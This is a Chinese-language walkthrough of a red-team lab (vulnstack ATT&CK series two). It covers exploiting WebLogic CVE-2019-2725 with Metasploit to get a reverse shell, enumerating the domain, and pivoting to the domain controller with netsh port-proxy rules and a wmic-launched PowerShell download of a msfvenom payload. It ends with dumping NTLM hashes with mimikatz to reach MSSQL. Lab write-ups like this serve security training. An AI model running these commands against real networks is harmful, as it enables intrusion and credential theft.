ATT&CK實戰系列——紅隊實戰(二)


靶機下載地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

太長不看版

DC7

流水

1. 建立立足點

官方環境是用parrot,我的鳥壞了,就先用kali來搞搞,啟動web主機后需要啟動weblogic。『一開始不知道,配網網絡就一頓探測,除了弱口令(已經知道的密碼)本菜雞一點頭緒都沒有』

image-20201113193606217

將kali(192.168.111.131)置於NAT網絡中,探測同網絡主機

image-20201113193749622

使用nmap掃描常見端口,尋找突破點(如果都無法突破的話再嘗試掃描所有端口。)

image-20201113194330584

image-20201113195000594

因為201的主機沒有什么對外服務,所以靠80的主機下手,80端口是空白頁。

image-20201113194614643

簡單路徑爆破一下, 沒有結果

image-20201113194658857

但是對weblogic的掃描出了結果,反序列化CVE-2019-2725

image-20201113194912078

利用msf獲取shell

image-20201113195546741

注意:msf默認的targetunix,需要改為windows

msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set target Windows
msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_tcp

列一下進程,發現360在,驚不驚喜意不意外『騙你的,因為是進去之后起的weblogic,知道360在……』

image-20201113195707129

簡單看一下還發現了另個域中的用戶,小本子記下來,很有可能這個用戶就可以登錄sqlserver。

image-20201113195928272

2. 內網信息搜集

搜集本機信息

借助域用戶的權限,探查一下域信息

確認是否在域中,同時獲取主域控地址(net time /domain):\\DC.de1ay.com
網卡信息(ipconfig /all):主機名 WEB,IP1:10.10.10.80,IP2:192.168.111.80
域用戶(net user /domain):Administrator、de1ay 、Guest、krbtgt、mssql(用戶組沒有什么特別的)
域管用戶(net group "Domain Admins" /domain):Administrator
確認域控主機(net group "Domain Controllers" /domain):DC$
域主機(net group "Domain Computers" /domain):PC$, WEB$
查看共享(net view <PC> /all):沒有什么特別的

檢查網絡信息:

netstat -ano:檢查端口信息,和nmap掃描結果基本一致,多了個3389,沒有其他主機連接『廢話,有鏈接就嚇人了』

arp -a :查詢arp緩存表(查看最近通信主機),找到10.10.10.10、192.168.111.67

通過ping命令獲取域內主機IP地址:PC(10.10.10.201)、DC(10.10.10.10),但是PC這個主機ping不通,可能是由於開啟了windows防火牆

使用當前令牌嘗試連接域控:『一點也不驚奇,我就是域管理員啊……』

image-20201113201747763

還是域控吸引力更大一些,而且我現在已經是域管理用戶了

搜集域控信息

查看進程情況,沒有殺毒『你說開心不開心』

image-20201113202211343

看一下cpu位數,准備上馬wmic /node:10.10.10.10 cpu get name^,extclock^,cpustatus^,description/value

image-20201113203110934

3. 橫向拓展

配置路由規則,准備內網拓展。

image-20201113205152831

nmap探測端口,確保端口沒有被占用。

image-20201113204923334

使用msf生成一個64位的meterpreter馬:

msfvenom -p windows/x64/meterpreter/bind_tcp -f exe > x64.exe

添加防火牆規則,構建轉發通道(因為目前控制的主機WEB上有360,我怕直接把馬傳上去會被殺,所以想要直接把馬下載到域控主機中):

netsh advfirewall firewall add rule name="Pr0xyHTTP" protocol=TCP dir=in localport=8443 action=allow
netsh interface portproxy add v4tov4 listenaddress=10.10.10.80 listenport=8443 connectaddress=192.168.111.131 connectport=8666

利用wmic執行文件下載命令:

powershell中的base64解碼為:(New-Object System.Net.WebClient).DownloadFile('http://10.10.10.80:8443/x64.exe', 'c:\windows\temp\x64.exe')

這個地方之所以使用base64編碼,是因為逗號在wmic命令中作為參數的分隔符被識別,導致無法在命令使用,

確認文件上傳成功:

image-20201113213656364

啟動木馬:

image-20201113214014525

添加防火牆規則:

image-20201113214004787

連接成功

image-20201113235147806

遷移進程,獲取權限

image-20201113235302311

至此,理論上對這個虛擬靶機環境中所有涉及到域認證的權限已經全部掌握了,接下來就是要看一看另一台靶機(PC)中有什么內容,以及入口點(WEB)中的那個數據庫如何連接。

4. 擴大戰果

在域控上加載kiwi,抓取密碼,但是抓不到

image-20201113235756213

高版本系統默認不記錄明文口令

image-20201113235839232

取一下用戶的NTLM哈希,留作備用(傳了一套mimikatz上去,原因在文末)

image-20201114165446831

4.2 另一台主機

嘗試連接另一台主機PC『刺激了,連接不上』

image-20201114170507098

切回WEB主機,發現可以訪問

image-20201114170707041

在公共的桌面上發現了slqserver的客戶端工具,沒有什么其他的東西了

image-20201114171649791

看一下進程,也沒有什么有用的,那么目前的判斷就是一個客戶機。

image-20201114172203070

4.1 mssql數據庫

將NTLM 哈希結算一下『其實我也不想來解這個密碼,因為畢竟一開始是知道靶機密碼的,這樣做其實是有點看答案的嫌疑的,但是我也是沒辦法,原因在文末』

image-20201114191625016

利用解算出的密碼嘗試連接mssql數據庫

image-20201114191857607

可以執行查詢命令,沒有什么特別的數據庫,所以這次實驗就到此結束了。

image-20201114193122082

遇到的坑

這次靶機主要是溫習一下流程,很久沒有做實際操作了,很多東西都忘記了。

  1. 雖然磕磕絆絆地做完了,但是還是有些作弊的地方,最直接的就是WEB主機的那個WebLogic,我覺得出題人應該是想用本地用戶來啟動WebLogic,這樣獲取的是計算機的本地管理員,而不是域管理的權限,但是我沒有才出來本地管理員的密碼,有時間我把密碼重置一下,再補充這方面的內容。

  2. 用戶常見的目錄,除了桌面以外:

    用戶的開始菜單:C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs

    用戶的最近訪問:C:\Users\test\AppData\Roaming\Microsoft\Windows\Recent

  3. 我的msf中kiwi(mimikatz的64位版)有些問題,無法獲取域的哈希『也可能是我自己使用的姿勢不對』

    image-20201114163124776

    image-20201114165531008

  4. 不知道域控為什么無法連接PC的那個靶機。

  5. 對於連接mssql數據庫的操作,其實嘗試了使用mimikatz 的PTH功能啟動SQL Management studio,但是結果並不是自己想象的那樣,進程無法識別到注入的憑據,在網上也沒有找到相應的辦法,也嘗試了使用mimikatz 的PTH功能,之后使用osql.exe和sqlcmd.exe,也沒能成功連接目標數據庫。

    image-20201114191431543

    其實我覺得可以直接通過在WEB那個主機上遷移Meterpreter會話到mssql用戶的那個進程中就可以獲得相應的權限,但是考慮到那台主機上有360『而且我還不會關(除了用3389登上去的方法)』,因此一直在找通過遠程主機連接的方法。當然,也不排除實際環境中管理員設置弱口令,甚至是密碼重用的情況。

  6. mssql查詢所有數據庫的辦法命令:Select Name From Master..SysDatabases order By Name

  7. wmic 全盤搜索某文件並獲取該文件所在目錄
    for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path') do (set "qPath=%i%j"&@echo %qPath:~0,-3%)

  8. 在kali中構造的base64字符串無法被powershell解析,應該是字符集的問題

    通過https://www.cnblogs.com/zlgxzswjy/p/9275818.html,找到解決方法

    $fileContent = "所要編碼的腳本"
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent)
    $encodedCommand = [Convert]::ToBase64String($bytes)
    echo $encodedCommand
    


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM